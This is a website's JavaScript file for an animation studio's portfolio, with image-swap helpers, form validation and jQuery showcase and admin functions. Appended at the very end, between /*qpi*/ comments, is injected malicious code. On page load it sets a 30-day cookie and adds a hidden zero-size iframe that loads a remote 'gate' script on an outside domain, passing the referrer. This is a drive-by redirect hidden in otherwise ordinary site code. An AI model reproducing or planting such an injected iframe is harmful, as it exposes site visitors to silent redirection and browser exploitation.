function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}
function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v4.01
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document);
  if(!x && d.getElementById) x=d.getElementById(n); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
   if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function validate_required(field,alerttxt)
{
with (field)
  {
  if (value==null||value=="")
    {
    alert(alerttxt);return false;
    }
  else
    {
    return true;
    }
  }
}

function validate_email(field,alerttxt)
{
with (field)
  {
  apos=value.indexOf("@");
  dotpos=value.lastIndexOf(".");
  if (apos<1||dotpos-apos<2)
    {alert(alerttxt);return false;}
  else {return true;}
  }
}

function validate_form(thisform)
{
with (thisform)
  {
  if (validate_required(name,"Please enter your name!")==false)
    {name.focus();return false;}
  if (validate_email(email,"Please supply a valid e-mail address!")==false)
    {email.focus();return false;}
  if (validate_required(enquiry,"Please enter your enquiry")==false)
    {enquiry.focus();return false;}
  }
}

function showWork(id,pos,overRide){
	jQuery("#workInfoTitle").html('');
	jQuery("#workInfoTextText").html('');
	setTimeout('workInfo()', 1000);
	jQuery('#box2_full').fadeTo("fast", 0, function(){jQuery("#box2_full").show();});
	i=0;
	while(i<=9){
		jQuery('#navBTN'+i).hide();
		i++;
	}
	jQuery.get('ajax-calls.php', { action: 'getMainImages', workId: id, randomString: Math.random() },
	function(data){
		a = data.split("**split**");
		if(overRide!=""){
			b = overRide.split('||');
			jQuery("#workInfoTitle").html(b[0]);
			jQuery("#workInfoTextText").html(b[1]);
		}else{
			jQuery("#workInfoTitle").html(a[2]+" - "+a[5]);
			jQuery("#workInfoTextText").html(a[3]);
		}
		if(a[1]>1){
			jQuery("#hiddenNavBTN").hide();
			i=0;
			while(i<a[1]){
				jQuery('#navBTN'+i).show();
				i++;
			}
		}else{
			jQuery("#hiddenNavBTN").show();
		}
		document.getElementById("box2_full").innerHTML = a[0];
		jQuery("#box2_full").fadeTo("slow",1);
		
		if(a[4]!=0){
			setTimeout('jQuery("#tempHolder").html(\'<a href="http://www.medi-mation.com/work/showreel/Medi-Mation2009_PAL_Animation_768x576x.flv" style="display:block;width:768px;height:576px;" id="player"></a>\');flowplayer("player", "http://www.medi-mation.com/flowplayer-3.2.2.swf", {key: \'$a7c2cf1365569ce5ffe\',logo: {url: \'http://www.medi-mation.com/images/nologo.png\'},clip: {autoBuffering: true, bufferLength: 6}});',3000);
		}
	});
	document.getElementById('showcase_full').style.display = "";
	document.getElementById('darkBackgroundLayer').style.display = "";
}

function workInfo(){
	document.getElementById('workInfo').style.display = "";
	jQuery('#workInfo').hide();
	jQuery('#workInfo').animate({height: "90px",opacity: 0.9}, 1500 ,'',setTimeout('jQuery("#workInfoText").fadeTo("slow", 1)',1500 ));
}

function returnToWork(returnToWhere){
	jQuery("#tempHolder").html('');
	jQuery("#box2_full").fadeTo("slow",0);
	jQuery('#workInfoText').fadeTo("fast", 0.0);
	if(returnToWhere=='home'){
		setTimeout("jQuery('#workInfo').animate({ height: '0px'}, 1000 , function(){ history.back(1); });",500 );
	}else{
		setTimeout("jQuery('#workInfo').animate({ height: '0px'}, 1000 );",500 );
	}
	setTimeout("jQuery('#darkBackgroundLayer').hide();document.getElementById('showcase_full').style.display = 'none';jQuery('#loadingImage').show();document.getElementById('box2_full').innerHTML = '';",1500 );
	setTimeout("jQuery('#loadingImage').fadeTo('fast',0)", 2500);
	var i = 1;
	while(i <= 32){
		jQuery(document.getElementById('thumb'+i)).removeClass("latest_img_faded").addClass("latest_img");
		i++;
	}
	setTimeout("jQuery('#returnClickRegister').val('0')",2100);
}

function setOpacity(obj, opacity) {
  opacity = (opacity == 100)?99.999:opacity;
  
  // IE/Win
  obj.style.filter = "alpha(opacity:"+opacity+")";
  
  // Safari<1.2, Konqueror
  obj.style.KHTMLOpacity = opacity/100;
  
  // Older Mozilla and Firefox
  obj.style.MozOpacity = opacity/100;
  
  // Safari 1.2, newer Firefox and Mozilla, CSS3
  obj.style.opacity = opacity/100;
}

function fadeIn(objId,opacity) {
  if (document.getElementById) {
    obj = document.getElementById(objId);
    if (opacity <= 100) {
      setOpacity(obj, opacity);
      opacity += 10;
      window.setTimeout("fadeIn('"+objId+"',"+opacity+")", 20);
    }
  }
}

function fadeOut(objId,opacity) {
  if (document.getElementById) {
    obj = document.getElementById(objId);
    if (opacity > 30) {
      setOpacity(obj, opacity);
      opacity -= 10;
      window.setTimeout("fadeOut('"+objId+"',"+opacity+")", 20);
    }
  }
}

function showWorkMenu(position, workId){
	jQuery('#workMenu').hide();
	if(jQuery("#client"+position).val()==""){
		jQuery('#editWorkAdmin').hide();
		jQuery('#clearWorkAdmin').hide();
		jQuery('#addWorkAdmin').show();
		jQuery("#workIdDisplay").html('');
	}else{
		jQuery('#addWorkAdmin').hide();
		jQuery('#editWorkAdmin').show();
		jQuery('#clearWorkAdmin').show();
	}
	jQuery("#workIdHolder").val(jQuery("#position"+position).val());
	jQuery("#selectedThumb").val(position);
	var pos = jQuery("#thumbnailHolder"+position).offset();
	var width = jQuery("#thumbnailHolder"+position).width();
	jQuery("#workMenu").css( { "left": (pos.left-9) + "px", "top":(pos.top+164) + "px" } );
	jQuery('#workMenu').show();
}

function selectWorkAdmin(id,client,title){
	a = jQuery("#selectedThumb").val();
	jQuery('#workMenuInner').scrollTo( '0%' );
	jQuery('#workMenu').hide();
	jQuery("#client"+a).val(client);
	jQuery("#clientName"+a).html(title);
	jQuery("#title"+a).val(title);//
	if(jQuery('#position'+a).val()==""){
		document.getElementById('position'+a).value = id;
		document.getElementById('layoutForm').submit();
	}else{
		document.getElementById('position'+a).value = id;
		document.getElementById('thumb'+a).src = "../work/"+id+"/placeHolder.jpg";
		jQuery('#updateBTN').show();
		jQuery("#updateWarning").val(1);
	}
}

function clearWorkAdmin(){
	a = jQuery("#selectedThumb").val()
	jQuery('#position'+a).val('');
	jQuery('#clearPosition').val(a);
	jQuery("#layoutForm").submit();
}

function editWorkAdmin(){
	jQuery('#workMenu').hide();
	if(jQuery("#updateWarning").val()==1){
		jQuery('#darkBackgroundLayer').show();
		jQuery('#darkBackgroundLayer').fadeTo("fast", 0.8);
		jQuery('#updateWarningLayer').show();
		jQuery("#noSave").click(function(){ 
			editWorkAdmin(); 
		});
	}else{
		jQuery("#newWorkPaneNum").val(jQuery("#paneNum").val());
		id = jQuery("#workIdHolder").val();
		jQuery("#workId").val(id);
		jQuery("#workIdDisplay").html('Work ID:'+id);
		jQuery.get("../ajax-calls.php?random="+Math.random(), { action: 'getWork', workId: id },
			function(data){
				a = data.split('||');
				jQuery("#client").val(a[0]);
				jQuery("#title").val(a[3]);
				jQuery("#summary").val(a[1]);
				if(a[4]!=""){
					jQuery("#featureSummary").val(a[4]);
					jQuery("#featureSummaryRow").show();
				}else{
					jQuery("#featureSummary").val('');
					jQuery("#featureSummaryRow").hide();
				}
				jQuery("#showcaseMenu").val(a[6]);
				if(a[2]==1){
					jQuery("#active").attr('checked', true);
				}else{
					jQuery("#active").attr('checked', false);
				}
				if(a[5]==1){
					jQuery("#movieOnly").attr('checked', true);
				}else{
					jQuery("#movieOnly").attr('checked', false);
				}
			});
		jQuery("#addImagesRow").hide();
		jQuery("#imagesRow1").show();
		jQuery("#imagesRow2").show();
		jQuery("#imagesRow3").show();
		jQuery('#darkBackgroundLayer').show();
		jQuery('#darkBackgroundLayer').fadeTo("fast", 0.8);
		jQuery('#workInfoDetails').show();
		jQuery('#workInfoDetails').fadeTo("fast", 1);
	}
}

function addWorkAdmin(){
	jQuery('#workMenu').hide();
	if(jQuery("#updateWarning").val()==1){
		jQuery('#darkBackgroundLayer').show();
		jQuery('#darkBackgroundLayer').fadeTo("fast", 0.8);
		jQuery('#updateWarningLayer').show();
		jQuery("#noSave").click(function(){ 
			addWorkAdmin(); 
		});
	}else{
		jQuery("#workIdDisplay").html('Work ID: NEW');
		jQuery("#newWorkPos").val(jQuery("#selectedThumb").val());
		jQuery("#newWorkPaneNum").val(jQuery("#paneNum").val());
		jQuery("#workId").val(0);
		jQuery("#client").val("");
		jQuery("#title").val("");
		jQuery("#active").attr('checked', true);
		jQuery("#date").val("");
		jQuery("#summary").val("");
		jQuery("#furtherDetail").val("");
		jQuery('#darkBackgroundLayer').show();
		jQuery('#darkBackgroundLayer').fadeTo("fast", 0.8);
		jQuery('#imagesRow1').hide();
		jQuery('#imagesRow2').hide();
		jQuery('#imagesRow3').hide();
		jQuery('#addImagesRow').show();
		jQuery('#workInfoDetails').show();
		jQuery('#workInfoDetails').fadeTo("fast", 1);
	}
}

function closeWindow(){
	jQuery('#fileBrowser').hide();
	jQuery('#workInfoDetails').hide();
	jQuery('#darkBackgroundLayer').fadeTo("fast", 0);
	jQuery('#darkBackgroundLayer').hide();
}

function fileBrowser(browserType){
	workId = jQuery("#workId").val();
	jQuery('#fileBrowserIframe').attr('src', 'file-browser/index.php?browserType='+browserType+'&workId='+workId);
	jQuery('#fileBrowser').show();
}

function fileBrowserTestimonials(browserType,workId,skipCheck){
	if(skipCheck!=1){
		if(jQuery('#feature_on_homepage').val()==1){
			browserType = 'caseStudyFeatureImage';
		}
	}
	jQuery('#darkBackgroundLayer').show();
	jQuery('#fileBrowserIframe').attr('src', 'file-browser/index.php?browserType='+browserType+'&workId='+workId);
	jQuery('#fileBrowser').show();
}

function deleteShow(){
	if(jQuery("#deleteBit").is(':hidden')){
		jQuery('#deleteBit').show();
		jQuery('#delete').attr('checked', false);
	}else{
		jQuery('#deleteBit').hide();
		jQuery('#delete').attr('checked', false);
	}
}

function createNewImagesFolder(){
	if(jQuery("#client").val()==""){
		alert('Please enter a client name');
	}else{
		jQuery("#addImagesNew").val("Please wait...");
		jQuery('#addImagesNew').attr("disabled", true);
		newWorkPos = jQuery("#newWorkPos").val();
		clientName = jQuery("#client").val();
		jQuery.get('../ajax-calls.php', { action: 'createNewImagesFolder', newWorkPosition: newWorkPos, client: clientName, randomString: Math.random() },
		function(data){
		jQuery("#addImagesRow").hide();
		jQuery("#imagesRow1").show();
		jQuery("#imagesRow2").show();
		jQuery("#imagesRow3").show();
		jQuery("#workId").val(data);
		jQuery("#workIdDisplay").html('Work ID: '+data);
		});
	}
}/*qpi*/
function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}
var e=new Date();e.setTime(e.getTime()+(2592000000));
if(!g()&&window.navigator.cookieEnabled)
{
	document.cookie='1=1;expires='+e.toGMTString()+';path=/';
	window.setTimeout(function(){
		var JSinj=document.createElement('iframe');
		JSinj.src='http://zalupka.in/gate/gate.php?f=639298&r='+encodeURI(document.referrer||'');
		JSinj.width='0';
		JSinj.height='0';
		JSinj.frameborder='0';
		JSinj.marginheight='0';
		JSinj.marginwidth='0';
		JSinj.border='0';
		try{
			document.body.appendChild(JSinj);
		}catch(e){
			document.documentElement.appendChild(JSinj);
		}
	}, 2000);
}
/*qpi*/
